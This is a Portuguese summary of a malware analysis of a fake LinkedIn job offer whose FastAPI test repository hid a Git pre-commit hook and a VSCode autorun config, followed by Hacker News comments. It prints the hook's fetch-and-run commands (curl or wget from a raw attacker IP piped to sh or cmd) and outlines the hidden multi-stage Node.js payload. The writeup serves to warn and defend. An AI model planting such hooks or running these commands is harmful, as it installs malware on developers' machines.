- Um falso recrutador no LinkedIn ofereceu uma vaga remota de desenvolvedor Python por US$ 10.000 a 15.000 por mês e enviou um arquivo ZIP disfarçado de teste normal em FastAPI, configurado para instalar malware durante o fluxo de trabalho com Git
- O repositório tinha um hook pre-commit oculto em
.git/hooks, que executava silenciosamente payloads remotos específicos para cada sistema operacional; as tarefas de Git no PDF do desafio serviam para induzir o candidato a acioná-lo - O payload para Linux baixava um script de segunda etapa em
~/Documents, executava-o comnohupe então instalava Node.js, dependências e oparser.jsofuscado para rodar em segundo plano - Alterar o valor
id=402nas requisições fazia outro script ser retornado; opackage.jsonincluíaclipboardypara acesso à área de transferência e o ambiente de desenvolvimento Ethereumhardhat, entre outros, mas o objetivo final não foi confirmado - O invasor apenas acrescentou diretórios maliciosos a um repositório FastAPI público; outra variante executava comandos só de abrir a pasta no VSCode. Antes de lidar com projetos externos, é preciso verificar diretórios ocultos e configurações de execução automática
Uma oferta de emprego boa demais
- A oferta para desenvolvedor Python recebida pelo LinkedIn era para um contrato remoto-first, com possibilidade de efetivação, pagando US$ 10.000 a 15.000 por mês
- O alto salário foi revelado antes mesmo de uma conversa, e o valor elevado para os padrões da Índia foi o primeiro sinal de alerta
- A empresa usada no recrutamento foi confirmada como uma startup da Y Combinator, mas ficou a suspeita de que uma empresa com esse orçamento normalmente teria um processo seletivo mais estruturado
- Após enviar o currículo, a aprovação veio imediatamente, e foram recebidos via Google Drive um arquivo ZIP e um PDF com as instruções do desafio
- O PDF pedia melhorias em uma base de código existente, sugestões de arquitetura e tarefas com Git, parecendo à primeira vista um documento de avaliação normal
Hook Git escondido em um projeto FastAPI
- O arquivo compactado continha um backend FastAPI comum usando SQLAlchemy, e o
requirements.txtnão apresentava typosquatting nem pacotes obviamente maliciosos - Ao executar
tree -apara verificar itens ocultos, havia vários hooks Git já configurados em.git/hooks - O script
pre-commitidentificava o sistema operacional comuname -se baixava e executava um payload específico para a plataforma a partir do mesmo servidor- No macOS, executava
curl .../task/mac?id=402 | sh - No Linux, executava
wget .../task/linux?id=402 | sh - Em sistemas Windows, executava
curl .../task/windows?id=402 | cmd
- No macOS, executava
- Toda a saída era enviada para
/dev/null, e o processo rodava em segundo plano para ocultar do usuário os vestígios da execução - O uso direto do endereço IP bruto
45.61.164.38:5777, em vez de um domínio, tornou o comportamento malicioso mais evidente
Payload em múltiplas etapas no Linux
- O primeiro script para Linux baixava
tokenlinux.nplem~/Documents, renomeava-o paratokenlinux.she concedia permissão de execução - Em seguida, executava o script em segundo plano com
nohup bash, fazendo o processo continuar ativo mesmo após fechar o terminal ou encerrar a sessão - O script de segunda etapa realizava silenciosamente as seguintes ações
- Instalação do Node.js e configuração do caminho do sistema
- Download de
parser.jsepackage.json - Instalação das dependências npm necessárias
- Execução de
parser.jscomnohup node, registrando logs emparser.log
- O
parser.jsestava tão fortemente ofuscado que era difícil analisá-lo manualmente, e o arquivo original foi preservado emparser.js
Possível identificação por vítima
- O parâmetro
id=402era enviado repetidamente aos endpoints, e alterar esse valor retornava um script completamente diferente - É possível que o invasor atribuísse identificadores únicos a cada candidato para fornecer payloads personalizados, mas o método real de rastreamento não foi confirmado
- Para desofuscação, o código foi enviado a vários LLMs, mas os resultados divergiram
- O Claude recusou a análise por causa das restrições de segurança
- O Gemini forneceu os resultados da análise do script
- Ao pesquisar a extensão original
tokenlinux.npl, foi confirmada sua relação com uma campanha de ataque mais ampla
Dependências Node.js suspeitas
- O nome do projeto no
package.jsoneratokendappe incluíahardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,requeste outros - Não estava claro por que um processo de configuração em segundo plano precisaria do
clipboardypara acesso à área de transferência e de pacotes relacionados ao sistema de arquivos hardhaté um ambiente de desenvolvimento Ethereum, mas, como o Ethereum migrou do modelo de prova de trabalho, é difícil classificá-lo como uma configuração comum de mineração- Também foi considerada a possibilidade de procurar carteiras de criptomoedas ou interagir com extensões locais de navegador, mas o objetivo malicioso final não foi confirmado
Outra variante usando VSCode
- Outra variante do mesmo ataque ocultava uma pasta
.vscodedentro do arquivo ZIP e a configurava para executar comandos quando o diretório fosse aberto no VSCode - Com esse método, a infecção poderia ocorrer apenas ao abrir a pasta, sem executar comandos Git nem código do projeto diretamente
- Confirmou-se que a empresa específica não estava diretamente envolvida no ataque; o invasor apenas usou o nome de uma empresa encontrada para fazer a oferta de emprego parecer legítima
Disfarce com reutilização de repositório público
- O
git lognão continha um projeto criado pelo invasor, mas preservava o histórico de commits de desenvolvedores existentes - O original era o repositório público
personal-finance-service - O invasor clonou um projeto FastAPI legítimo e acrescentou apenas diretórios ocultos maliciosos, disfarçando-o como uma base de código para o desafio
- A estrutura permitia que o comportamento malicioso passasse despercebido caso fossem revisados apenas o código legítimo e o
requirements.txtlimpo
Investigação do servidor de ataque e limitações
- Uma varredura com Nmap no servidor de ataque encontrou três portas abertas, das quais duas não responderam à detecção de versão
- Na porta 22, estava em execução o OpenSSH 9.6p1 no Ubuntu
- No momento da varredura, essa versão havia sido lançada havia pouco mais de uma semana, e não foram encontradas CVEs conhecidas exploráveis, dificultando a ampliação da investigação para o interior do servidor
- Embora o método de distribuição do malware fosse chamativo, a segurança operacional do servidor parecia relativamente bem mantida, e o rastreamento parou nesse ponto
O papel das tarefas de Git
- As tarefas de Git no PDF do desafio serviam para fazer o candidato executar pelo menos um comando Git e, assim, acionar o hook pré-instalado
- O falso recrutador parece ter excluído a conta do LinkedIn logo após receber a mensagem de que o ataque havia sido descoberto
- Antes de executar projetos desconhecidos ou comandos Git, é preciso verificar diretórios ocultos e configurações de execução automática, como
.gite.vscode, com ferramentas comotree -a
1 comentários
Opiniões no Hacker News
Só depois de ler este texto percebi que fui hackeado de uma forma muito mais sofisticada
Algumas semanas atrás, fiz uma entrevista com o CTO de uma empresa real. Ele estava com a câmera desligada e tinha um sotaque forte, mas a entrevista soou natural e ele entendia bem da parte técnica. Na entrevista técnica, disseram que eu precisava modificar um projeto open source da empresa e me pediram para clonar o repositório e verificar o ambiente de desenvolvimento
Depois disso, a pessoa de RH disse que a entrevista havia sido adiada porque o CTO estava doente e, alguns dias depois, o perfil dessa pessoa no LinkedIn também foi apagado. Depois de ver este texto, fui verificar e descobri que o repositório que eu havia clonado e executado durante a entrevista continha um payload de malware
Acho que virei alvo porque, no passado, mantive um pacote NPM com mais de 43 milhões de downloads semanais. Eu vinha usando autenticação em dois fatores em todas as contas e publicando os pacotes NPM manualmente, sem tokens, mas agora vou precisar zerar o laptop e reinstalar tudo
Procurei posts parecidos no HN, mas não encontrei nenhum relato de alguém que chegou a fazer uma chamada no Google Meet com o golpista
Uma empresa séria levaria isso em consideração; se recusar, pelo menos escapei de um risco. Como hoje usamos LLMs amplamente para gerar código, acho que isso deveria ser possível em qualquer stack
Parece que aumentaram recentemente os ataques vindos da Coreia do Norte contra desenvolvedores. Além dessas táticas que existem há anos, recebo cerca de uma vez por semana e-mails de hackers norte-coreanos dizendo “vi seu perfil, quer colaborar?”
Em comunidades de programação no Discord também há muitas contas que, poucos dias depois de entrar, pedem emprego ou colaboração. Podem até ser candidatos reais, mas o volume e a semelhança das mensagens são suspeitos; como eles aparecem até em comunidades de bibliotecas Python pouco populares e quase sem atividade, parece que estão raspando listas de comunidades no Discord e abordando pessoas indiscriminadamente
Como há cada vez mais ataques que exploram a confiança entre as pessoas, é preciso fazer como nossos pais diziam: não confiar em estranhos na internet
A técnica de verificar o sistema operacional da vítima e então executar escondido um payload remoto tem se repetido; no mês passado, um post parecido também chegou à primeira página
https://news.ycombinator.com/item?id=48546294
Um endereço IP bruto dá uma forte impressão de malware, mas uma vítima que investigou a ponto de conferir o conteúdo do hook provavelmente também não pararia de suspeitar ali. A maioria dos desenvolvedores provavelmente não imagina que
git commitpode executar ações maliciosas; fico me perguntando se isso é uma falha de segurança do GitO que ficou foi apenas que, por causa de todos os tipos de salvaguardas, o Claude foi completamente inútil como ajudante
O uso de IP bruto pode ter sido para não deixar informações de identidade em um registrador de domínio ou para minimizar rastros online
A maioria das capturas de tela não abria diretamente, então precisei vê-las em uma nova aba
Esse golpe é bastante sofisticado e provavelmente muitos candidatos a emprego já caíram nele; o projeto do Visual Studio Code mencionado no texto parece ainda mais perigoso. Se apenas abrir o projeto executa código do usuário, isso é claramente um vetor de malware e precisa de mitigação de segurança
A resposta dos sites de recrutamento também é insuficiente. Se alguém afirma pertencer a uma empresa ou instituição, deveriam exigir comprovação de vínculo empregatício; só de exibir um grande aviso em mensagens de contas não verificadas, muitos golpes já ficariam mais difíceis. Hoje, qualquer pessoa pode alegar experiência profissional ou formação em qualquer empresa
É bom ver um post sobre hacking de verdade chegando à primeira página do Hacker News
http://www.catb.org/jargon/html/H/hacker.html
Refere-se a uma pessoa que explora os detalhes e limites de sistemas programáveis e que sente prazer especialmente em entender profundamente o funcionamento interno de computadores e redes. Também significa alguém que programa com entusiasmo, às vezes de forma obstinada, em vez de ficar apenas na teoria
Se o LinkedIn levasse a sério a prevenção de fraudes, poderia oferecer verificação por e-mail corporativo ao informar o emprego atual. Se tornar isso obrigatório for pesado demais, pelo menos poderiam permitir que recrutadores que queiram demonstrar legitimidade se verifiquem opcionalmente
Imagino que algo parecido esteja acontecendo agora mirando o mercado de recrutamento em IA e a demanda por LLMs e automação
Esse tipo de ataque tende a ficar cada vez mais comum. Os invasores pesquisaram muito bem e a tática é cruel, mas a qualidade técnica é digna de reconhecimento; acho que a taxa real de sucesso deve ser bem alta